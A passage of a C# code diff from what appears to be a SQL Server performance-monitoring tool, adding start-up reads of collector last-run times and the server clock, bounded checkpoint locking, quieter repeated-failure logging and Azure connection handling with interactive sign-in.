             if (liveMin is DateTime l && archivedMin is DateTime a2)
                 return l <= a2 ? l : a2;
diff --git a/Lite/Services/RemoteCollectorService.RunTime.cs b/Lite/Services/RemoteCollectorService.RunTime.cs
new file mode 100644
index 0000000000..c6a2d65285
--- /dev/null
+++ b/Lite/Services/RemoteCollectorService.RunTime.cs
@@ -0,0 +1,179 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Concurrent;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using Microsoft.Extensions.Logging;
+using PerformanceMonitor.Analysis.Baselines;
+using PerformanceMonitorLite.Models;
+
+namespace PerformanceMonitorLite.Services;
+
+/// <summary>
+/// #4938: what a collector's run time and a restart need from Lite's local database. The last run of every daily
+/// collector is read from collection_log once per server, and the server's clock from its newest server_properties
+/// row, then the scheduler works from memory.
+/// </summary>
+public partial class RemoteCollectorService
+{
+    /// <summary>One start-up read per server, shared by the scheduled sweep and the tab-open run, so a tab opened at
+    /// launch waits for the same read instead of racing it. A read that failed is dropped, and the next call tries again.</summary>
+    private readonly ConcurrentDictionary<string, Task<bool>> _runTimeReady = new();
+
+    /// <summary>
+    /// Reads, once per server, the last run of every daily collector (effective interval of a day or more, with or
+    /// without a run time) and the server's clock, and hands both to the scheduler. After this a restart, or a tab
+    /// open, no longer makes a daily collector that ran today due.
+    ///
+    /// <para><b>The statuses that count as a run: all of them.</b> Darling's connect-time last-run read
+    /// (<c>DarlingWorker.ReadCollectorWatermarksAsync</c>) has no status filter, because a failed attempt still wrote
+    /// a row and still reset the cadence clock, so this read has none either and the two apps agree. The read covers
+    /// the longest daily interval plus a day, in the live collection_log only, and each collector keeps a run only from
+    /// inside its own interval plus a day (<see cref="ScheduleManager.LastRunFloor"/>, the floor get_collection_health
+    /// applies too); a collector whose last run is older than that is due anyway.</para>
+    ///
+    /// <para>Failure-isolated: a store hiccup leaves the collectors as never run, which is how Lite started before
+    /// this read, and never stops the sweep.</para>
+    /// </summary>
+    internal async Task EnsureRunTimeReadyAsync(ServerConnection server, CancellationToken cancellationToken = default)
+    {
+        var ready = _runTimeReady.GetOrAdd(server.Id, _ => PrepareRunTimeAsync(server));
+        var ok = await ready.WaitAsync(cancellationToken);
+        if (!ok)
+        {
+            _runTimeReady.TryRemove(new KeyValuePair<string, Task<bool>>(server.Id, ready));
+        }
+    }
+
+    private async Task<bool> PrepareRunTimeAsync(ServerConnection server)
+    {
+        var storageId = GetServerId(server);
+        try
+        {
+            var clock = await ReadServerClockAsync(storageId, CancellationToken.None);
+            _scheduleManager.SetServerRunContext(server.Id, storageId, server.DisplayName, clock);
+
+            var daily = _scheduleManager.GetDailyCollectorIntervalsForServer(server.Id);
+            if (daily.Count > 0)
+            {
+                /* The read reaches back as far as the longest floor; each collector then keeps a run only from inside
+                   its own (interval plus a day), the floor get_collection_health applies, so the two name the same next run. */
+                var lookback = ScheduleManager.LastRunFloor(daily.Values.Max());
+                var lastRuns = await ReadCollectorLastRunsAsync(storageId, daily.Keys, lookback, CancellationToken.None);
+                var nowUtc = DateTime.UtcNow;
+                var withinFloor = new Dictionary<string, DateTime>(StringComparer.OrdinalIgnoreCase);
+                foreach (var (name, ran) in lastRuns)
+                {
+                    if (ScheduleManager.LastRunWithinFloor(ran, nowUtc, daily[name]) is DateTime kept)
+                    {
+                        withinFloor[name] = kept;
+                    }
+                }
+
+                _scheduleManager.SeedLastRunsForServer(server.Id, withinFloor);
+            }
+
+            return true;
+        }
+        catch (Exception ex)
+        {
+            _logger?.LogDebug("Reading the last runs and the clock for server '{Server}' failed: {Message}", server.DisplayName, ex.Message);
+
+            /* The stable id still goes in, so a run time's spread is the same whether or not the read worked. */
+            _scheduleManager.SetServerRunContext(server.Id, storageId, server.DisplayName, clock: null);
+            return false;
+        }
+    }
+
+    /// <summary>
+    /// Reads the server's clock again after a new server_properties row, and gives it to the scheduler. No row, or a
+    /// failed read, keeps the clock already known.
+    /// </summary>
+    internal async Task RefreshRunTimeClockAsync(ServerConnection server, CancellationToken cancellationToken = default)
+    {
+        try
+        {
+            var storageId = GetServerId(server);
+            var clock = await ReadServerClockAsync(storageId, cancellationToken);
+            if (clock is not null)
+            {
+                _scheduleManager.SetServerRunContext(server.Id, storageId, server.DisplayName, clock);
+            }
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            _logger?.LogDebug("Refreshing the clock for server '{Server}' failed: {Message}", server.DisplayName, ex.Message);
+        }
+    }
+
+    /// <summary>The newest server_properties row's clock (the statement the Lite tabs read with), or null when no row
+    /// carries an offset yet.</summary>
+    private async Task<ServerClock?> ReadServerClockAsync(int storageServerId, CancellationToken cancellationToken)
+    {
+        using var readLock = _duckDb.AcquireReadLock(cancellationToken);
+        using var connection = _duckDb.CreateConnection();
+        await connection.OpenAsync(cancellationToken);
+        using var command = connection.CreateCommand();
+        command.CommandText = LocalDataService.ServerClockSql;
+        command.Parameters.Add(new DuckDBParameter { Value = storageServerId });
+
+        using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        if (!await reader.ReadAsync(cancellationToken))
+        {
+            return null;
+        }
+
+        var offset = reader.IsDBNull(0) ? (int?)null : Convert.ToInt32(reader.GetValue(0));
+        var zoneId = reader.IsDBNull(1) ? null : reader.GetString(1);
+        return offset.HasValue ? ServerClock.Resolve(zoneId, offset) : null;
+    }
+
+    /// <summary>The newest collection_time per collector for a server within <paramref name="lookback"/>, for the
+    /// named collectors, any status. The log's naive UTC time is relabeled UTC (a relabel, not a shift).</summary>
+    private async Task<Dictionary<string, DateTime>> ReadCollectorLastRunsAsync(
+        int storageServerId, IEnumerable<string> collectors, TimeSpan lookback, CancellationToken cancellationToken)
+    {
+        var wanted = new HashSet<string>(collectors, StringComparer.OrdinalIgnoreCase);
+        var lastRuns = new Dictionary<string, DateTime>(StringComparer.OrdinalIgnoreCase);
+
+        using var readLock = _duckDb.AcquireReadLock(cancellationToken);
+        using var connection = _duckDb.CreateConnection();
+        await connection.OpenAsync(cancellationToken);
+        using var command = connection.CreateCommand();
+        command.CommandText = @"
+SELECT collector_name, MAX(collection_time)
+FROM collection_log
+WHERE server_id = $1
+AND   collection_time >= $2
+GROUP BY collector_name";
+        command.Parameters.Add(new DuckDBParameter { Value = storageServerId });
+        command.Parameters.Add(new DuckDBParameter { Value = DateTime.UtcNow - lookback });
+
+        using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            if (reader.IsDBNull(1))
+            {
+                continue;
+            }
+
+            var name = reader.GetString(0);
+            if (wanted.Contains(name))
+            {
+                lastRuns[name] = DateTime.SpecifyKind(reader.GetDateTime(1), DateTimeKind.Utc);
+            }
+        }
+
+        return lastRuns;
+    }
+}
diff --git a/Lite/Services/RemoteCollectorService.cs b/Lite/Services/RemoteCollectorService.cs
index f1685c99dd..4e7acdf763 100644
--- a/Lite/Services/RemoteCollectorService.cs
+++ b/Lite/Services/RemoteCollectorService.cs
@@ -67,8 +67,19 @@ public class XeSessionEnsureException : Exception
 {
     public string SessionKind { get; }
 
+    /// <summary>
+    /// True when the always-on deadlock or blocked-process ensure that raised this had already failed, and logged its lines at
+    /// their full levels, on an earlier cycle of that session on that server, with no success since (#4964). The ensure sets it
+    /// from the state it keeps, so <c>RunCollectorAsync</c> logs its own line for the failure at Debug instead of Warning or
+    /// Error. The type, the message and the inner error are the same either way, so the run is classified and recorded the
+    /// same. False for every other raise: the first failing cycle, the reads (<see cref="ForFailedRead"/>) and the
+    /// long-query trace. The trace's kept failure can be any type, so its repeat travels on the run's own telemetry
+    /// (<see cref="RunTelemetry.TraceFaultRepeatsAtDebug"/>) rather than on this exception.
+    /// </summary>
+    public bool RepeatsAtDebug { get; internal set; }
+
     public XeSessionEnsureException(string sessionKind, SqlException inner)
-        : this(sessionKind, inner, $"Failed to ensure {sessionKind} XE session: {inner.Message}")
+        : this(sessionKind, inner, $"Failed to ensure {sessionKind} XE session: {PerformanceMonitor.Collectors.AlwaysOnXeSessions.DescribeFailure(inner)}")
     {
     }
 
@@ -123,9 +134,52 @@ public partial class RemoteCollectorService
     /// <see cref="ArchiveWatermarkCache"/> and <see cref="ReadArchiveViewAsync"/>.
     /// </summary>
     private readonly ArchiveWatermarkCache _archiveWatermarks = new();
+
+    /// <summary>
+    /// The shared limit on expensive archive reads (#5377); see <see cref="ArchiveReadLimiter"/> for the lock
+    /// order. A test swaps in its own instance so it never holds a slot of the process-wide one.
+    /// </summary>
+    private ArchiveReadLimiter _archiveReadLimiter = ArchiveReadLimiter.Shared;
+
+    /// <summary>Test seam (#5377): replaces the process-wide limiter for this service.</summary>
+    internal ArchiveReadLimiter ArchiveReadLimiterForTests { set => _archiveReadLimiter = value; }
+
+    /// <summary>
+    /// Test seam (#5377): called with <c>"limiter"</c> once an archive read holds its slot, <c>"readlock"</c>
+    /// once it also holds the database read lock, and <c>"read"</c> as its SQL is about to run. A test records
+    /// the order to pin limiter-then-read-lock without reading source. Production leaves it null.
+    /// </summary>
+    internal Action<string>? ArchiveReadStepForTests { get; set; }
+
+    /// <summary>
+    /// Test seam (#5377, review F3): called right after an archive read samples the archive generation, on a
+    /// cache hit as well as a miss and before the cache is consulted. A test runs the archive-and-reset here to
+    /// pin that every caller's live read came BEFORE this point (see <see cref="ReadArchiveViewAsync"/>).
+    /// Production leaves it null.
+    /// </summary>
+    internal Action? ArchiveGenerationSampledForTests { get; set; }
+
+    private int _archiveViewReads;
+
+    /// <summary>Test seam (#5377): how many archive-view reads have run (cache misses that reached DuckDB).</summary>
+    internal int ArchiveViewReadsForTests => Volatile.Read(ref _archiveViewReads);
+
     private readonly ServerManager _serverManager;
     private readonly ScheduleManager _scheduleManager;
     private readonly ILogger<RemoteCollectorService>? _logger;
+    private readonly InstallIdStore? _installIdStore;
+
+    /// <summary>
+    /// This install's id (#4961), or null when the service was built without a store, or its store cannot give one right now
+    /// (its file exists and cannot be read, or a new id cannot be saved: <see cref="InstallIdFailure"/> says which). Resolved
+    /// from the store on first use rather than at construction, so the first sweeps that need it, running in parallel, share
+    /// one resolve. A cycle with no id creates, starts and drops no session; the store goes back to the disk on a later cycle.
+    /// </summary>
+    internal string? GetInstallId() => _installIdStore?.GetId();
+
+    /// <summary>Why the store has no id right now, or null: there is none to explain (an id is held, or the service has no store).</summary>
+    internal string? InstallIdFailure() => _installIdStore?.Failure;
+
     private readonly DeltaCalculator _deltaCalculator;
     public DeltaCalculator DeltaCalculator => _deltaCalculator;
 
@@ -211,6 +265,15 @@ public void ResetNote()
         /// </summary>
         public bool Abandoned { get; set; }
 
+        /// <summary>
+        /// True when this run's collector rethrew a long-query trace failure that an earlier run on this server had already
+        /// logged at its full level, with the trace not created since (#4964). <c>RunCollectorAsync</c> then logs its own
+        /// lines for the failure at Debug instead of Warning or Error, whatever the failure's type. The long-query read sets
+        /// it before it rethrows, from state kept per server beside the create's own; every run resets it. It changes
+        /// nothing about how the run is classified or recorded.
+        /// </summary>
+        public bool TraceFaultRepeatsAtDebug { get; set; }
+
         /// <summary>The per-database rollup for a run that fanned out, null for one that did not (#2472).
         /// Lives beside the fetch/store split for the same reason it does: both are things one run has to
         /// hand its own collection_log row, and both are meaningless once the next run resets the slot.</summary>
@@ -275,12 +338,14 @@ public RemoteCollectorService(
         DuckDbInitializer duckDb,
         ServerManager serverManager,
         ScheduleManager scheduleManager,
-        ILogger<RemoteCollectorService>? logger = null)
+        ILogger<RemoteCollectorService>? logger = null,
+        InstallIdStore? installIdStore = null)
     {
         _duckDb = duckDb;
         _serverManager = serverManager;
         _scheduleManager = scheduleManager;
         _logger = logger;
+        _installIdStore = installIdStore;
         _deltaCalculator = new DeltaCalculator(logger);
         _ignoredWaitTypes = new Lazy<HashSet<string>>(LoadIgnoredWaitTypes);
     }
@@ -541,6 +606,10 @@ Each server gets its own due-collector list from per-server schedules. */
                changed (state-tracked); creates on enable, drops on disable. */
             await ReconcileLongQueryCompletionsXeSessionAsync(server, cancellationToken);
 
+            /* #4938: the last runs and the server's clock are read once before the first due check, so a restart does not
+               make a daily collector due and a run time reads the server's clock. */
+            await EnsureRunTimeReadyAsync(server, cancellationToken);
+
             var dueCollectors = _scheduleManager.GetDueCollectorsForServer(server.Id, cycleStartUtc);
             foreach (var collector in dueCollectors)
             {
@@ -557,27 +626,49 @@ runs once this round's registration above is released. */
             return;
         }
 
-        /* Run CHECKPOINT here after all collector connections are closed.
-           Write lock ensures no UI readers have stale file offsets when
-           CHECKPOINT reorganizes/truncates the database file. */
+        await RunPostCollectionCheckpointAsync(LocalDataService.WriteLockBudget, cancellationToken);
+    }
+
+    /// <summary>
+    /// Runs CHECKPOINT after a collection round, once all collector connections are closed. The write lock ensures no
+    /// UI readers have stale file offsets when CHECKPOINT reorganizes/truncates the database file.
+    ///
+    /// <para>#5371: the wait for that lock is bounded by <paramref name="writeLockBudget"/> (the same budget every
+    /// other store write uses). The process-wide lock is a <see cref="System.Threading.ReaderWriterLockSlim"/>, and a
+    /// waiting writer makes every NEW reader wait, so an unbounded wait behind one slow read parked every UI read and
+    /// the next collector behind it. On a timeout this round's CHECKPOINT is skipped and the next round retries.</para>
+    /// </summary>
+    /// <returns>True when CHECKPOINT ran; false when it was skipped (lock budget spent) or failed.</returns>
+    internal async Task<bool> RunPostCollectionCheckpointAsync(TimeSpan writeLockBudget, CancellationToken cancellationToken)
+    {
         try
         {
-            using var writeLock = _duckDb.AcquireWriteLock();
+            using var writeLock = _duckDb.AcquireWriteLock(timeout: writeLockBudget);
             using var conn = _duckDb.CreateConnection();
             await conn.OpenAsync(cancellationToken);
             using var cmd = conn.CreateCommand();
             cmd.CommandText = "CHECKPOINT";
             await cmd.ExecuteNonQueryAsync(cancellationToken);
+            return true;
+        }
+        catch (TimeoutException)
+        {
+            AppLogger.Debug("Collector", $"Post-collection checkpoint skipped: the database lock was not free within {writeLockBudget.TotalSeconds:0.###}s (a read is in flight); the next round retries");
+            return false;
         }
         catch (Exception ex)
         {
             AppLogger.Debug("Collector", $"Post-collection checkpoint failed (non-critical): {ex.Message}");
+            return false;
         }
     }
 
     /// <summary>
-    /// Runs all enabled collectors for a single server immediately (ignoring schedule).
-    /// Used for initial data population when a server tab is first opened.
+    /// Runs the collectors a newly opened server tab needs, immediately, for initial data population: every enabled
+    /// on-load and sub-daily collector, and a collector that runs once a day or less often only when it is due (#4938).
+    /// A collector with a run time is left to its time, so opening a tab does not run it; an on-load collector with a
+    /// run time still runs, because the run time moves only its daily re-run, not its connect capture. See
+    /// <see cref="ScheduleManager.GetCollectorsForTabOpen"/>.
     /// </summary>
     public async Task RunAllCollectorsForServerAsync(ServerConnection server, CancellationToken cancellationToken = default)
     {
@@ -591,9 +682,11 @@ public async Task RunAllCollectorsForServerAsync(ServerConnection server, Cancel
             return;
         }
 
-        var enabledSchedules = _scheduleManager.GetSchedulesForServer(server.Id)
-            .Where(s => s.Enabled)
-            .ToList();
+        /* #4938: the tab-open run does not start a collector that has a run time or a daily collector that is not
+           due; on-load collectors still run (their connect capture). The last runs are read first, so a tab opened
+           at launch sees the same state as the scheduled sweep. */
+        await EnsureRunTimeReadyAsync(server, cancellationToken);
+        var enabledSchedules = _scheduleManager.GetCollectorsForTabOpen(server.Id, DateTime.UtcNow).ToList();
 
         AppLogger.Info("Collector", $"Running {enabledSchedules.Count} collectors for '{server.DisplayName}' (serverId={GetServerId(server)}, initial load)");
 
@@ -648,6 +741,7 @@ blocked_process_report is the live example — and the catches all fall through
         telemetry.StorageMs = 0;
         telemetry.ResetNote();
         telemetry.Abandoned = false;
+        telemetry.TraceFaultRepeatsAtDebug = false;
 
         try
         {
@@ -762,6 +856,12 @@ failed first attempt self-heals instead of staying broken until a manual
 
             _scheduleManager.MarkCollectorRunForServer(server.Id, collectorName, scheduledAtUtc ?? startTime);
 
+            /* #4938: a new server_properties row is the server's clock arriving or changing; a run time reads it from the next check. */
+            if (string.Equals(collectorName, "server_properties", StringComparison.Ordinal))
+            {
+                await RefreshRunTimeClockAsync(server, cancellationToken);
+            }
+
             /* #3653 A5: the identity-epoch account, if this run's definition saw one — the twin of the drain
                in DarlingWorker.RunOneAsync, for the same reason: the definition composed the sentence (old
                and new start time, old and new @@SERVERNAME, what was forgotten) and has no logger; this is
@@ -827,14 +927,25 @@ direct SQL failure so the health indicator stops showing OK (#1086). */
                session. Logging that at Error made a deliberate posture read as a fault: a field log showed
                three consecutive Error lines - two from the XE layer, one from here - for a login that was
                simply not granted ALTER ANY EVENT SESSION, while every other permission denial in this method
-               logs at Warn. Only a genuine ERROR status stays at Error. */
-            if (status == "PERMISSIONS")
+               logs at Warn. Only a genuine ERROR status stays at Error.
+
+               #4964: the always-on ensures run on every cycle, so a session that cannot be ensured raises this on every
+               cycle. The first failing cycle logs this line at the level above; the cycles after it log it at Debug, the
+               same rule as the ensure's own lines (the ensure sets RepeatsAtDebug from its state; the long-query read, whose
+               ensure runs outside the run, sets it on the run's telemetry). The classification, the run row and the health
+               record above and below are the same on every cycle. */
+            var ensureFailure = $"  [{server.DisplayName}] {collectorName} {ex.Message}";
+            if (ex.RepeatsAtDebug || telemetry.TraceFaultRepeatsAtDebug)
+            {
+                AppLogger.Debug("Collector", ensureFailure);
+            }
+            else if (status == "PERMISSIONS")
             {
-                AppLogger.Warn("Collector", $"  [{server.DisplayName}] {collectorName} {ex.Message}");
+                AppLogger.Warn("Collector", ensureFailure);
             }
             else
             {
-                AppLogger.Error("Collector", $"  [{server.DisplayName}] {collectorName} {ex.Message}");
+                AppLogger.Error("Collector", ensureFailure);
             }
         }
         catch (SqlException ex) when (ex.Number == 1222 && CollectorCatalog.YieldsOnLockTimeout(collectorName))
@@ -856,15 +967,17 @@ TARGET rather than a monitoring fault. A 1222 from any collector without the gua
             errorMessage = $"SQL Error #{ex.Number}: {ex.Message}"
                 + AzureDmvPermissionHint.For(
                     ex.Number, _serverManager.GetConnectionStatus(server.Id).SqlEngineEdition == 5, ex.Message);
-            AppLogger.Error("Collector", $"  [{server.DisplayName}] {collectorName} SQL Error #{ex.Number}: {ex.Message}");
+            /* #4964: a long-query trace failure that an earlier run already logged is logged again at Debug (LogRunError and
+               LogRunWarning); every other run's lines are at the levels below. The classification does not depend on it. */
+            LogRunError(telemetry, $"  [{server.DisplayName}] {collectorName} SQL Error #{ex.Number}: {ex.Message}");
 
             if (RetryHelper.IsTransient(ex))
             {
-                AppLogger.Warn("Collector", $"Collector '{collectorName}' transient SQL error #{ex.Number} for server '{server.DisplayName}': {ex.Message}");
+                LogRunWarning(telemetry, $"Collector '{collectorName}' transient SQL error #{ex.Number} for server '{server.DisplayName}': {ex.Message}");
             }
             else if (ex.Number == 207) /* Invalid column name - likely version incompatibility */
             {
-                AppLogger.Warn("Collector", $"Collector '{collectorName}' column not found for server '{server.DisplayName}' (possible version incompatibility): {ex.Message}");
+                LogRunWarning(telemetry, $"Collector '{collectorName}' column not found for server '{server.DisplayName}' (possible version incompatibility): {ex.Message}");
             }
             else if (SqlServerPermissionErrors.IsPermissionDenied(ex.Number))
             {
@@ -875,11 +988,11 @@ SqlServerPermissionErrors so this no longer MIRRORS Darling's classifier by
                    transcription — it IS Darling's classifier, and 262 (the tempdb denial behind the
                    collector's old Azure SQL DB gate) reaches both SKUs at once. */
                 status = "PERMISSIONS";
-                AppLogger.Warn("Collector", $"Collector '{collectorName}' permission denied for server '{server.DisplayName}': {ex.Message}");
+                LogRunWarning(telemetry, $"Collector '{collectorName}' permission denied for server '{server.DisplayName}': {ex.Message}");
             }
             else
             {
-                AppLogger.Error("Collector", $"Collector '{collectorName}' SQL error #{ex.Number} for server '{server.DisplayName}'", ex);
+                LogRunError(telemetry, $"Collector '{collectorName}' SQL error #{ex.Number} for server '{server.DisplayName}'", ex);
             }
         }
         catch (InvalidOperationException ex) when (ex.Message.Contains("MFA authentication cancelled"))
@@ -899,8 +1012,11 @@ SqlServerPermissionErrors so this no longer MIRRORS Darling's classifier by
         {
             status = "ERROR";
             errorMessage = ex.Message;
-            AppLogger.Error("Collector", $"  [{server.DisplayName}] {collectorName} {ex.GetType().Name}: {ex.Message}");
-            AppLogger.Error("Collector", $"Collector '{collectorName}' failed for server '{server.DisplayName}'", ex);
+
+            /* #4964: the same rule as the SQL error arm above, for a long-query trace failure that is not a SQL error (an
+               install with no id, a connection that would not open) and that an earlier run already logged. */
+            LogRunError(telemetry, $"  [{server.DisplayName}] {collectorName} {ex.GetType().Name}: {ex.Message}");
+            LogRunError(telemetry, $"Collector '{collectorName}' failed for server '{server.DisplayName}'", ex);
 
             /* A fatal DuckDB error invalidates the whole local database, and every later write fails until it is
                reopened. This starts the reopen; any other error is left alone. */
@@ -910,10 +1026,50 @@ SqlServerPermissionErrors so this no longer MIRRORS Darling's classifier by
         // Track collector health
         RecordCollectorResult(GetServerId(server), collectorName, status, errorMessage, xeSessionUnavailable);
 
+        /* #4938: a run that did not succeed still wrote a collection_log row below, and the start-up read counts that
+           row as the last run whatever its status. For a daily-or-longer collector, with or without a run time, the
+           session counts it too, so a failing collector runs once and waits for its next period instead of running on
+           every sweep. A collector with a shorter interval keeps trying on the next sweep. A success was recorded
+           above, right after its collection. An early return that wrote no row never reaches here, so it stays due. */
+        if (status != "SUCCESS")
+        {
+            _scheduleManager.MarkCollectorAttemptForServer(server.Id, collectorName, scheduledAtUtc ?? startTime);
+        }
+
         // Log the collection attempt
         await LogCollectionAsync(GetServerId(server), server.DisplayName, collectorName, startTime, status, errorMessage, rowsCollected, telemetry.SqlMs, telemetry.StorageMs, telemetry.Fanout);
     }
 
+    /// <summary>
+    /// A failed run's Error line, or its Debug line when the run replayed a long-query trace failure that an earlier run
+    /// already logged at its full level (<see cref="RunTelemetry.TraceFaultRepeatsAtDebug"/>, #4964). The exception is
+    /// logged with the Error line only.
+    /// </summary>
+    private static void LogRunError(RunTelemetry telemetry, string message, Exception? exception = null)
+    {
+        if (telemetry.TraceFaultRepeatsAtDebug)
+        {
+            AppLogger.Debug("Collector", message);
+        }
+        else
+        {
+            AppLogger.Error("Collector", message, exception);
+        }
+    }
+
+    /// <summary>A failed run's Warning line, or its Debug line for a repeated long-query trace failure (<see cref="LogRunError"/>).</summary>
+    private static void LogRunWarning(RunTelemetry telemetry, string message)
+    {
+        if (telemetry.TraceFaultRepeatsAtDebug)
+        {
+            AppLogger.Debug("Collector", message);
+        }
+        else
+        {
+            AppLogger.Warn("Collector", message);
+        }
+    }
+
     /// <summary>
     /// Logs a collection attempt to the collection_log table.
     /// </summary>
@@ -1049,7 +1205,15 @@ internal void NoteServerOnline(ServerConnection server)
     /// server into whichever registration ran the sweep — N registrations of N databases meant N² collection
     /// with every registration's history contaminated by its siblings'.</para>
     /// </summary>
-    protected async Task<List<string>> GetAzureDatabaseListAsync(ServerConnection server, CancellationToken cancellationToken)
+    protected Task<List<string>> GetAzureDatabaseListAsync(ServerConnection server, CancellationToken cancellationToken) =>
+        GetAzureDatabaseListAsync(server, applyExclusions: true, cancellationToken);
+
+    /// <summary>
+    /// <see cref="GetAzureDatabaseListAsync(ServerConnection, CancellationToken)"/>, with a choice about the server's
+    /// excluded databases. The long-query trace's drop passes <paramref name="applyExclusions"/> false: a session
+    /// created before a database was excluded must still be dropped there.
+    /// </summary>
+    protected async Task<List<string>> GetAzureDatabaseListAsync(ServerConnection server, bool applyExclusions, CancellationToken cancellationToken)
     {
         var serverId = GetServerId(server);
         var baseConnStr = _serverManager.CredentialResolver.GetConnectionString(server);
@@ -1105,14 +1269,12 @@ to be reached.
             return await RetryHelper.ExecuteWithRetryAsync(
                 async () =>
                 {
-                    var (exclusionClause, exclusionParams) = BuildDatabaseExclusionFilter(server.ExcludedDatabases, "name");
+                    var (listSql, exclusionParams) = BuildAzureDatabaseListQuery(server, applyExclusions);
 
                     var databases = new List<string>();
                     using var conn = new SqlConnection(connStr);
                     await conn.OpenAsync(cancellationToken);
-                    using var cmd = new SqlCommand(
-                        $"SELECT name FROM sys.databases WHERE state_desc = N'ONLINE' AND database_id > 0 {exclusionClause} ORDER BY name;",
-                        conn)
+                    using var cmd = new SqlCommand(listSql, conn)
                     { CommandTimeout = CommandTimeoutSeconds };
                     foreach (var p in exclusionParams) cmd.Parameters.Add(p);
                     using var reader = await cmd.ExecuteReaderAsync(cancellationToken);
@@ -1134,6 +1296,20 @@ to be reached.
         }
     }
 
+    /// <summary>
+    /// The enumeration query behind <see cref="GetAzureDatabaseListAsync(ServerConnection, bool, CancellationToken)"/>, with its
+    /// parameters. The server's excluded databases are in it only when <paramref name="applyExclusions"/> is true, so a drop that
+    /// passes false lists the databases the registration excludes too. Built fresh on each call: a SqlParameter cannot be added
+    /// to a second SqlCommand, so the retry builds its own. Its own member so a test reads the query, not a stand-in for the list.
+    /// </summary>
+    internal static (string Sql, List<SqlParameter> Parameters) BuildAzureDatabaseListQuery(ServerConnection server, bool applyExclusions)
+    {
+        var (exclusionClause, exclusionParams) = BuildDatabaseExclusionFilter(applyExclusions ? server.ExcludedDatabases : null, "name");
+        return (
+            $"SELECT /* PerformanceMonitorLite */ name FROM sys.databases WHERE state_desc = N'ONLINE' AND database_id > 0 {exclusionClause} ORDER BY name;",
+            exclusionParams);
+    }
+
     /// <summary>
     /// True while a recent master-inaccessible verdict still stands. The verdict expires so that a
     /// server whose access was restored (or whose login was granted master rights) recovers on its
@@ -1201,10 +1377,16 @@ internal static List<string> FallbackDatabaseList(ServerConnection server, strin
 
         if (fallback.Count == 0)
         {
+            /* #5498: the firewall comes first. 40615 means the server's firewall did not allow the client's IP
+               address, which a server-level block causes; a missing Database setting never does. The
+               set-a-Database advice is only the fix for the master-only case (a login allowed into a user
+               database but not master). Text only: the fallback itself is unchanged. */
             throw new InvalidOperationException(
                 $"{reason}, and this connection has no target database to fall back to " +
-                $"(it resolves to master). Set a Database for '{server.DisplayName}' so database-scoped " +
-                $"collectors have something to read.");
+                $"(it resolves to master). If the error is 40615, the Azure firewall did not allow this " +
+                $"client's IP address: add a firewall rule for it, either a server-level rule or a database-level rule in master. " +
+                $"If this login can open a user database but not master, set a Database for " +
+                $"'{server.DisplayName}' so database-scoped collectors have something to read.");
         }
 
         if (quiet)
@@ -1283,6 +1465,28 @@ private static List<string> SingleDbOrEmpty(string? targetDb) =>
     internal static bool ShouldFallBackToSingleDatabaseError(int errorNumber) =>
         SqlErrorClassification.ShouldFallBackToSingleDatabase(errorNumber);
 
+    /// <summary>
+    /// The connection string for one database on an Azure SQL DB logical server: the registration's own, so a registration
+    /// with read-only intent opens a read-only connection. <paramref name="withoutReadOnlyIntent"/> forces the intent off:
+    /// the long-query trace creates its session's definition over such a connection, because a session cannot be created on
+    /// a read-only replica (#4961). The one place the string is built, so a test that reads it sees what is opened.
+    /// </summary>
+    protected string AzureDatabaseConnectionString(ServerConnection server, string databaseName, bool withoutReadOnlyIntent = false)
+    {
+        var builder = new SqlConnectionStringBuilder(RegistrationConnectionString(server))
+        {
+            ConnectTimeout = ConnectionTimeoutSeconds,
+            InitialCatalog = databaseName
+        };
+
+        if (withoutReadOnlyIntent)
+        {
+            builder.ApplicationIntent = ApplicationIntent.ReadWrite;
+        }
+
+        return builder.ConnectionString;
+    }
+
     /// <summary>
     /// Opens a SQL connection to a specific database on an Azure SQL DB logical server.
     ///
@@ -1293,28 +1497,79 @@ internal static bool ShouldFallBackToSingleDatabaseError(int errorNumber) =>
     /// every minute. The next cycle is the retry, and it costs one minute of that database's data
     /// rather than delaying every other server's.
     /// </summary>
-    protected async Task<SqlConnection> OpenAzureDatabaseConnectionAsync(ServerConnection server, string databaseName, CancellationToken cancellationToken)
+    protected async Task<SqlConnection> OpenAzureDatabaseConnectionAsync(ServerConnection server, string databaseName, CancellationToken cancellationToken, bool withoutReadOnlyIntent = false)
     {
-        var baseConnStr = _serverManager.CredentialResolver.GetConnectionString(server);
-        var connStr = new SqlConnectionStringBuilder(baseConnStr)
-        {
-            ConnectTimeout = ConnectionTimeoutSeconds,
-            InitialCatalog = databaseName
-        }.ConnectionString;
+        var connStr = AzureDatabaseConnectionString(server, databaseName, withoutReadOnlyIntent);
+        var builder = new SqlConnectionStringBuilder(connStr);
+
+        /* A registration that signs in interactively does so over this connection as it does over CreateConnectionAsync's
+           (#4961). The long-query trace creates its session's definition over a connection with the read-only intent forced
+           off, and any open here can be the first of a run to raise a prompt. So the opens get CreateConnectionAsync's
+           treatment, asked of the mode and not of the connection string's keyword: the sign-in lock, so two opens starting
+           together raise one window and not two, and a refusal once that server's sign-in was declined. Both interactive modes
+           need it. Begin hands the prompt window its attempt and returns null for every mode but device code, which opens
+           exactly as it did; for device code it also refuses a second sign-in while one is in flight. A mode that cannot show
+           a window takes no lock. */
+        var signsInInteractively = AuthenticationTypes.RequiresInteractiveSignIn(server.AuthenticationType);
+        var signInLockHeld = false;
 
-        var conn = new SqlConnection(connStr);
         try
         {
-            await conn.OpenAsync(cancellationToken);
-            return conn;
+            if (signsInInteractively)
+            {
+                await s_mfaAuthLock.WaitAsync(cancellationToken);
+                signInLockHeld = true;
+
+                if (_serverManager.GetConnectionStatus(server.Id).UserCancelledMfa)
+                {
+                    throw new InvalidOperationException("Interactive authentication cancelled by user. Please connect to the server explicitly to retry.");
+                }
+            }
+
+            using var deviceCode = EntraDeviceCodeAuth.Begin(builder);
+            using var openCancellation = deviceCode is null
+                ? null
+                : CancellationTokenSource.CreateLinkedTokenSource(cancellationToken, deviceCode.Token);
+
+            var conn = new SqlConnection(connStr);
+            try
+            {
